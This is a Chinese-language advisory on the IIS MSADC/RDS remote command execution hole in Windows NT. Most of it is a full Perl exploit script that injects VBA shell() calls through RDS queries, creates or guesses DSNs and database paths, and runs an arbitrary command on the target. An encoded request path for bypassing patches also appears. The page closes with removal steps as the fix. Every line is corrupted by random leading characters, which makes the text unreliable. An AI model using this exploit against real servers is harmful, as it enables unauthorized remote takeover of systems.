IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
!1m7^3l7j "
l;=j k] 涉及程序：
8f`r!/j Microsoft NT server
pf% yEz BFnp[93N 描述：
3R>"X c 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
_|jEuif 3kz O
VZ 详细：
CXiDe)|<E 如果你没有时间读详细内容的话，就删除:
eL" +_lW c:\Program Files\Common Files\System\Msadc\msadcs.dll
tn 38T% 有关的安全问题就没有了。
TGDrTyI?y #=uV, dw 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
7TW&=( B=}s7$^ 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
`c)[aP{vN 关于利用ODBC远程漏洞的描述，请参看:
<sTY<i VR !&adO,jN+= http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ()^tw5e'^ .k -!/ ^ 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
JA09 o( http://www.microsoft.com/security/bulletins/MS99-025faq.asp >PYc57S1c U!
$/'Xi9 这里不再论述。
@6kkt~>: \_)[FC@ 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
L[voouaqm q Tz5P /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
)8E[xBaO 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
7Hg;SK6t0 o &$ Of ,`!>.E. #将下面这段保存为txt文件，然后: "perl -x 文件名"
cTja<*W^xv kq*IC&y #!perl
g;~$xXn #
GdM|?u&s" # MSADC/RDS 'usage' (aka exploit) script
cwE ?+vB #
=4uO"o # by rain.forest.puppy
0DaKd<Scv #
XMF#l]P # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
s5 4AM]a{j # beta test and find errors!
4N)45@jk[ ky{@*fg. use Socket; use Getopt::Std;
gm$<U9L\v getopts("e:vd:h:XR", \%args);
\I7&F82e yu jv^2/ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
19bqz ) B A
i ^t if (!defined $args{h} && !defined $args{R}) {
!KtP> `8 print qq~
s( :N>K5* Usage: msadc.pl -h <host> { -d <delay> -X -v }
~
Ofn&[G -h <host> = host you want to scan (ip or domain)
swg*fhJFB -d <seconds> = delay between calls, default 1 second
D1V^Db Um_ -X = dump Index Server path table, if available
H on,-< -v = verbose
7g4IAs oD -e = external dictionary file for step 5
o, qUf {> d \ Or a -R will resume a command session
),@m
3wQ V8 G.KA " ~; exit;}
C_ W%]8u m[%P3 $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
gMPvzBpP if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
&S[>*+}{+ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
r@C bhD if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
BSY7un+`: $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
(r-PkfXvIf if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
UAds$ 9 CtH si8m if (!defined $args{R}){ $ret = &has_msadc;
C }71SlN'M die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
Q SvgbjdE xgIb4Y% print "Please type the NT commandline you want to run (cmd /c assumed):\n"
>Ft:&N9L{ . "cmd /c ";
W"g@*B'| $in=<STDIN>; chomp $in;
HHZrovA# $command="cmd /c " . $in ;
U3p Mv |b !Xzy: if (defined $args{R}) {&load; exit;}
qSQsY:]j0 . WS 7gTw print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
zrV~7$HL &try_btcustmr;
F D.L{ npcL<$<6X print "\nStep 2: Trying to make our own DSN...";
3 Ol`i$ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
% `j2?rn 0T:ZWRjH print "\nStep 3: Trying known DSNs...";
4K! @9+Mz &known_dsn;
`7_s@4: Bz6Zy)&sAL print "\nStep 4: Trying known .mdbs...";
+| Mi lwr &known_mdb;
t8 B==% }#E~XlX ^ if (defined $args{e}){
Es+BV+x[.c print "\nStep 5: Trying dictionary of DSN names...";
/pz(s +4= &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
p"q4R2_/jh !{4bC print "Sorry Charley...maybe next time?\n";
&uxwz@RC0 exit;
ea!Z nld] +WSM< S2 U ##############################################################################
,8@U-7f, U=ie|
3 sub sendraw { # ripped and modded from whisker
R^GLATM sleep($delay); # it's a DoS on the server! At least on mine...
u )KtvC! my ($pstr)=@_;
3o^ oq socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
z*&r@P
-
die("Socket problems\n");
M-NY& @Nj if(connect(S,pack "SnA4x8",2,80,$target)){
l}mzCIw% select(S); $|=1;
4vf,Rj B-5 print $pstr; my @in=<S>;
3,{tGNl| select(STDOUT); close(S);
n*i1QC return @in;
] 73BJ } else { die("Can't connect...\n"); }}
IF.6sJg: _z \PVTT ##############################################################################
xZ(VvINL' X&({`Uw<K sub make_header { # make the HTTP request
){XG%nC my $msadc=<<EOT
UP |#WegO POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
w7X], auRC User-Agent: ACTIVEDATA
B$%7U><' Host: $ip
w1P8p>vA1 Content-Length: $clen
i:,37INMt Connection: Keep-Alive
*27*&&=)H 7 = x]p ADCClientVersion:01.06
qlfYX8edZ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
9% AL f 9 xt"GO
b --!ADM!ROX!YOUR!WORLD!
5\$ 8"/H Content-Type: application/x-varg
Q d$!?h Content-Length: $reqlen
&GH ,is 0`dMT>& I EOT
b_T?jCyW ; $msadc=~s/\n/\r\n/g;
4`#3p@- return $msadc;}
DEkFmmw
W g2Y`2@t ##############################################################################
_P*<T6\J> fUg I*V sub make_req { # make the RDS request
RxVf:h'l my ($switch, $p1, $p2)=@_;
X#*|_(^ my $req=""; my $t1, $t2, $query, $dsn;
kM
T73OI>_ P7i
G,i if ($switch==1){ # this is the btcustmr.mdb query
^?)o,djY& $query="Select * from Customers where City=" . make_shell();
|_J[n !~f7 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
=?/RaK/
w $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
r{g J[% .Z"p'v elsif ($switch==2){ # this is general make table query
O8N \ $query="create table AZZ (B int, C varchar(10))";
oG )JH)! $dsn="$p1";}
^"h`U'YC 9j[ %Y? elsif ($switch==3){ # this is general exploit table query
+ fQ=G/ $query="select * from AZZ where C=" . make_shell();
@,63% $dsn="$p1";}
FN&.PdRT ;@@1$mzK elsif ($switch==4){ # attempt to hork file info from index server
Et=N`k _gO $query="select path from scope()";
U'st\Dt $dsn="Provider=MSIDXS;";}
$#dPM*E VR/>V7*7@ elsif ($switch==5){ # bad query
r2T-= XWB $query="select";
3JiDi
X"| $dsn="$p1";}
uOqWMRsoi MEQ :[;1 $t1= make_unicode($query);
| 1Fy $t2= make_unicode($dsn);
mACj>0Z' $req = "\x02\x00\x03\x00";
:o}J u}t $req.= "\x08\x00" . pack ("S1", length($t1));
vmW4 3K; $req.= "\x00\x00" . $t1 ;
$e; _N4d^ $req.= "\x08\x00" . pack ("S1", length($t2));
9IKFrCO9, $req.= "\x00\x00" . $t2 ;
.VVY]>bJg@ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
X$zlR) Re return $req;}
pC2r{- \d0R&vFHQ ##############################################################################
`/'Hq9$F<" [e
)j,Q1 sub make_shell { # this makes the shell() statement
!aD/I%X return "'|shell(\"$command\")|'";}
DYU+?[J f~u]fpkz ##############################################################################
~O~c^fLH(B q@ >s# sub make_unicode { # quick little function to convert to unicode
m9UI 3fBX my ($in)=@_; my $out;
<h2WM (n for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
<JKRdIx&1 return $out;}
~ jb6 yAoJ?<4^W ##############################################################################
edqek jh NamBJ\2E1[ sub rdo_success { # checks for RDO return success (this is kludge)
rS>JzbWa my (@in) = @_; my $base=content_start(@in);
-DrR6kGjR if($in[$base]=~/multipart\/mixed/){
]&1Kz
2/ return 1 if( $in[$base+10]=~/^\x09\x00/ );}
e%&2tf4 return 0;}
r LNo7i ^zHBDRsb2F ##############################################################################
T=}(S4n#BX nZa.3/7dJ sub make_dsn { # this makes a DSN for us
| eIN<RY5 my @drives=("c","d","e","f");
sn&y;Vc[$ print "\nMaking DSN: ";
I|JMkP foreach $drive (@drives) {
*ta
``q print "$drive: ";
sB
]~=vUP my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
]lzt "[ "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
>&tPI rz . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
wx Xp(o( $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
OWFLw return 0 if $2 eq "404"; # not found/doesn't exist
~AxA , if($2 eq "200") {
kJq gY| foreach $line (@results) {
[!4p5; return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
kt.z,<w5O } return 0;}
Yjv}@i" YYHtd,0 \+ ##############################################################################
quHq?oX V, M ()&GlNs sub verify_exists {
W[[3'J TF my ($page)=@_;
0 '`>2 0Y my @results=sendraw("GET $page HTTP/1.0\n\n");
k D S return $results[0];}
i
~fkjn [op!:K0 ##############################################################################
k/YEUC5 jKZJ0`06q sub try_btcustmr {
yTwv2l;U my @drives=("c","d","e","f");
.t''(0_kC my @dirs=("winnt","winnt35","winnt351","win","windows");
B Rbx. 4G0Er?D
foreach $dir (@dirs) {
l=U@j
T print "$dir -> "; # fun status so you can see progress
Lt0JUUa0 foreach $drive (@drives) {
~~k_A|& print "$drive: "; # ditto
%Kx:'m%U $reqlen=length( make_req(1,$drive,$dir) ) - 28;
&U ]L@ ]x $reqlenlen=length( "$reqlen" );
s~$ZTzV $clen= 206 + $reqlenlen + $reqlen;
DcA{E8Y lN#W my @results=sendraw(make_header() . make_req(1,$drive,$dir));
sL|*0,# K if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
wgxr8;8`q else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
FjqoO. 6/Y3#d ##############################################################################
-iWt~ yEyx.Mh.Af sub odbc_error {
1@sy:{
d` my (@in)=@_; my $base;
__M( dN(^ my $base = content_start(@in);
V
@8 + if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
#4iSQ$0 $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
w%R(*,r6 $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
&?flH; $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
F7lhLly return $in[$base+4].$in[$base+5].$in[$base+6];}
8)HUo?/3 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
,%7>%*nhk print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
]:jP*0bLx $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
^N#B( F cO%-Av~P ##############################################################################
TELN4* X c~yr\%] sub verbose {
#&<>|m my ($in)=@_;
=vJ:R[Ilw return if !$verbose;
b>SG5EqU@ print STDOUT "\n$in\n";}
@v &h r 4FUY1p ##############################################################################
; :2]++G DCr&%)Ll sub save {
ScOiOz:Ha my ($p1, $p2, $p3, $p4)=@_;
A)
{q 7WI open(OUT, ">rds.save") || print "Problem saving parameters...\n";
bQd'ob jpY print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
T40&a(hXQ close OUT;}
WjLy7& Kv(2x3(" ##############################################################################
Q(v*I&k
mY6d+ sub load {
ou8V7 my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
} )D E open(IN,"<rds.save") || die("Couldn't open rds.save\n");
C:z+8w t @p=<IN>; close(IN);
b)ytm=7ha $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
*Rm"3S $target= inet_aton($ip) || die("inet_aton problems");
_mSDz=!Z3 print "Resuming to $ip ...";
ZAATV +Z $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
4mHR+SZy if($p[1]==1) {
<46> v< $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
b;Nm$`2 $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
|w; hu] my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
rgq~lZ.U4K if (rdo_success(@results)){print "Success!\n";}
;I V else { print "failed\n"; verbose(odbc_error(@results));}}
HrOq>CSR elsif ($p[1]==3){
9t$#!2z if(run_query("$p[3]")){
., ({&L print "Success!\n";} else { print "failed\n"; }}
oV ZI ([O elsif ($p[1]==4){
M~/Pk7C C if(run_query($drvst . "$p[3]")){
{*yFTP"93 print "Success!\n"; } else { print "failed\n"; }}
JRgrg &# exit;}
# <?igtUO .4CCR[Het ##############################################################################
8-#_xsZ^; L
i g7Ac, sub create_table {
"rl(%~Op my ($in)=@_;
gm^j8 B $reqlen=length( make_req(2,$in,"") ) - 28;
IvZ,|R? $reqlenlen=length( "$reqlen" );
gWk?g^KJL $clen= 206 + $reqlenlen + $reqlen;
*r)/ Vx`S my @results=sendraw(make_header() . make_req(2,$in,""));
Fal##6B return 1 if rdo_success(@results);
nu(;yIRP my $temp= odbc_error(@results); verbose($temp);
yN@3uYBF return 1 if $temp=~/Table 'AZZ' already exists/;
we("#s1= return 0;}
eW <|I b#%$y ##############################################################################
ZA1 :Y{ V 02 $d sub known_dsn {
PEr &|H2 # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
XJZ\ ss my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
!eu\ShI "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
#}p@+rkg2 "banner", "banners", "ads", "ADCDemo", "ADCTest");
2RbK##`vC PtTL
t iE~ foreach $dSn (@dsns) {
"M;aNi^B print ".";
)5[OG7/g next if (!is_access("DSN=$dSn"));
Qx")D?u if(create_table("DSN=$dSn")){
p3,m), print "$dSn successful\n";
A+=K<e if(run_query("DSN=$dSn")){
`VrQ? s print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
$ucDz f=o print "Something's borked. Use verbose next time\n";}}} print "\n";}
U-*`I?~=4 ZX8 AB ##############################################################################
!AXt6z cZ w S7nTZfw sub is_access {
.fgVzDR| + my ($in)=@_;
S[;d\Z]~ $reqlen=length( make_req(5,$in,"") ) - 28;
F$j? } $reqlenlen=length( "$reqlen" );
-Hh.8(!XoO $clen= 206 + $reqlenlen + $reqlen;
aGAeRF my @results=sendraw(make_header() . make_req(5,$in,""));
j.ZXLe~ my $temp= odbc_error(@results);
m9=93W?
verbose($temp); return 1 if ($temp=~/Microsoft Access/);
s'^sT= b return 0;}
)Drif\FF) p:;`X! ##############################################################################
|s'5 ~ + L O;?#e 7 sub run_query {
r i/CLq^D my ($in)=@_;
g)1`A 24 $reqlen=length( make_req(3,$in,"") ) - 28;
?j;,:n $reqlenlen=length( "$reqlen" );
Js <DVe, $clen= 206 + $reqlenlen + $reqlen;
{%oxzdP c my @results=sendraw(make_header() . make_req(3,$in,""));
onU\[VvM return 1 if rdo_success(@results);
- i#Kpf my $temp= odbc_error(@results); verbose($temp);
/E-s g,
k return 0;}
mb>8=hMg r+!29 ##############################################################################
O+?vQ$z !C@+CZXLx sub known_mdb {
]1 jhy2j my @drives=("c","d","e","f","g");
| va^l T my @dirs=("winnt","winnt35","winnt351","win","windows");
q#O 8Fv my $dir, $drive, $mdb;
fZp 3 g%u my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
UP7?9\ (]` rri*^ # this is sparse, because I don't know of many
d2?#&d'aq my @sysmdbs=( "\\catroot\\icatalog.mdb",
8},: "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
q?qH7={,eu "\\system32\\certmdb.mdb",
*\Lr]6k "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
k Ep{L -wr_x<7 my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
_3IRj=Cs "\\cfusion\\cfapps\\forums\\forums_.mdb",
,h9?o "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
X"sJiF S "\\cfusion\\cfapps\\security\\realm_.mdb",
-\ 7_^8 am "\\cfusion\\cfapps\\security\\data\\realm.mdb",
DKF`
xuJP "\\cfusion\\database\\cfexamples.mdb",
k;Fxr% "\\cfusion\\database\\cfsnippets.mdb",
]v]tBVO$ "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
X/_89<& "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
vY7 @1_ " "\\cfusion\\brighttiger\\database\\cleam.mdb",
=ea.+ "\\cfusion\\database\\smpolicy.mdb",
S0tkqA4 "\\cfusion\\database\cypress.mdb",
B1A:} # "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
~)VI` 36X "\\website\\cgi-win\\dbsample.mdb",
h\2iArw8 "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
IL1iTR H "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
,M~> t7+ ); #these are just
<kk!ns I foreach $drive (@drives) {
oQ A,57B foreach $dir (@dirs){
6a<zZO`Z6+ foreach $mdb (@sysmdbs) {
G+2 ,x0( print ".";
4bcd=a; if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
!L@<?0x LW print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
^X?uAX-RP| if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
M!D6i5k, print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
Ss0I{0 } else { print "Something's borked. Use verbose next time\n"; }}}}}
yzMGZi`ut d0i| ^ foreach $drive (@drives) {
T2n3g|4 foreach $mdb (@mdbs) {
=kf"%vFV print ".";
_u'y7- if(create_table($drv . $drive . $dir . $mdb)){
g m%cAme print "\n" . $drive . $dir . $mdb . " successful\n";
nEPTTp+B if(run_query($drv . $drive . $dir . $mdb)){
S{3c}>n print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
/::Y &&$f } else { print "Something's borked. Use verbose next time\n"; }}}}
_''un3eCY }
.
:>e"D 5f MlOP_ ##############################################################################
~iv OSr7s}
M%Ksyr9 sub hork_idx {
<s7cCpUF P print "\nAttempting to dump Index Server tables...\n";
.wmqaLd% print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
n @,. $reqlen=length( make_req(4,"","") ) - 28;
+xgP&nw[- $reqlenlen=length( "$reqlen" );
y=.bn!u}z $clen= 206 + $reqlenlen + $reqlen;
}dHdy {$ my @results=sendraw2(make_header() . make_req(4,"",""));
Y%?*Lj| if (rdo_success(@results)){
Yg,;l-1 my $max=@results; my $c; my %d;
i(OeE"YA for($c=19; $c<$max; $c++){
nM Z)x- $results[$c]=~s/\x00//g;
U8 2mO+} $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
;TS%e[lFhQ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
Dx`- h# $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
,tcUJ}l $d{"$1$2"}="";}
u>G9r#~`k foreach $c (keys %d){ print "$c\n"; }
JT!9LNh;R` } else {print "Index server doesn't seem to be installed.\n"; }}
,p OGT71 *nHuGla ##############################################################################
C\aHr! _Gf-s51s sub dsn_dict {
01n132k open(IN, "<$args{e}") || die("Can't open external dictionary\n");
0?( uqjD: while(<IN>){
.}v" `>x $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
~#jiX6<I next if (!is_access("DSN=$dSn"));
vy 7/ if(create_table("DSN=$dSn")){
,[t? $Cy ; print "$dSn successful\n";
\D(3~y> if(run_query("DSN=$dSn")){
P"l'? ` print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
\/?J)k3H. print "Something's borked. Use verbose next time\n";}}}
""XAUxo print "\n"; close(IN);}
xY#J((-iH lux
g1> ##############################################################################
>X
eXd{$ 80_w_i + sub sendraw2 { # ripped and modded from whisker
]K*R[ sleep($delay); # it's a DoS on the server! At least on mine...
U1 X"UN) my ($pstr)=@_;
& Cv socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
-{ 1P`&G die("Socket problems\n");
H@Ot77(* if(connect(S,pack "SnA4x8",2,80,$target)){
FRZ]E)9Z]b print "Connected. Getting data";
Mmu#hb|W open(OUT,">raw.out"); my @in;
\20} /& select(S); $|=1; print $pstr;
+( 92}~RK while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
}O>1tauI close(OUT); select(STDOUT); close(S); return @in;
[M,4qe8,} } else { die("Can't connect...\n"); }}
Z|$DchC
.ex;4( -! ##############################################################################
nEd
"~ L;u 5 sub content_start { # this will take in the server headers
'JJKnE zQ my (@in)=@_; my $c;
!ess.U&m' for ($c=1;$c<500;$c++) {
`dG;SM$T, if($in[$c] =~/^\x0d\x0a/){
H~nX! sO if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
3&7? eO7* else { return $c+1; }}}
*oz#YGN m return -1;} # it should never get here actually
6bhb_U'f A1-,b.Ni ##############################################################################
ZxSFElDD]E Cj-&L< sub funky {
,++HiYOG}e my (@in)=@_; my $error=odbc_error(@in);
5rB>)p05[ if($error=~/ADO could not find the specified provider/){
n|&=6hiI print "\nServer returned an ADO miscofiguration message\nAborting.\n";
qz]qG=wmL exit;}
jaodcT0 if($error=~/A Handler is required/){
.=J- !{z print "\nServer has custom handler filters (they most likely are patched)\n";
>pLJ ,Z exit;}
/~w*)e) if($error=~/specified Handler has denied Access/){
\WFcb\.. print "\nServer has custom handler filters (they most likely are patched)\n";
>fI\f <ez exit;}}
j67ppt SA }Dkt&, ##############################################################################
SDO:Gma G6zFQ\&f sub has_msadc {
tm.60udbo my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
9 ;p5z[jI my $base=content_start(@results);
n4S`k %CI return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
T G$ #aX\' return 0;}
2I_ yUt- Gk I '. ########################
:G@z?ZJ[ G`O*A Q}[ ,4t6Cq! 解决方案：
r/'!#7dLG- 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
{:!>Y1w> 2、移除web 目录: /msadc
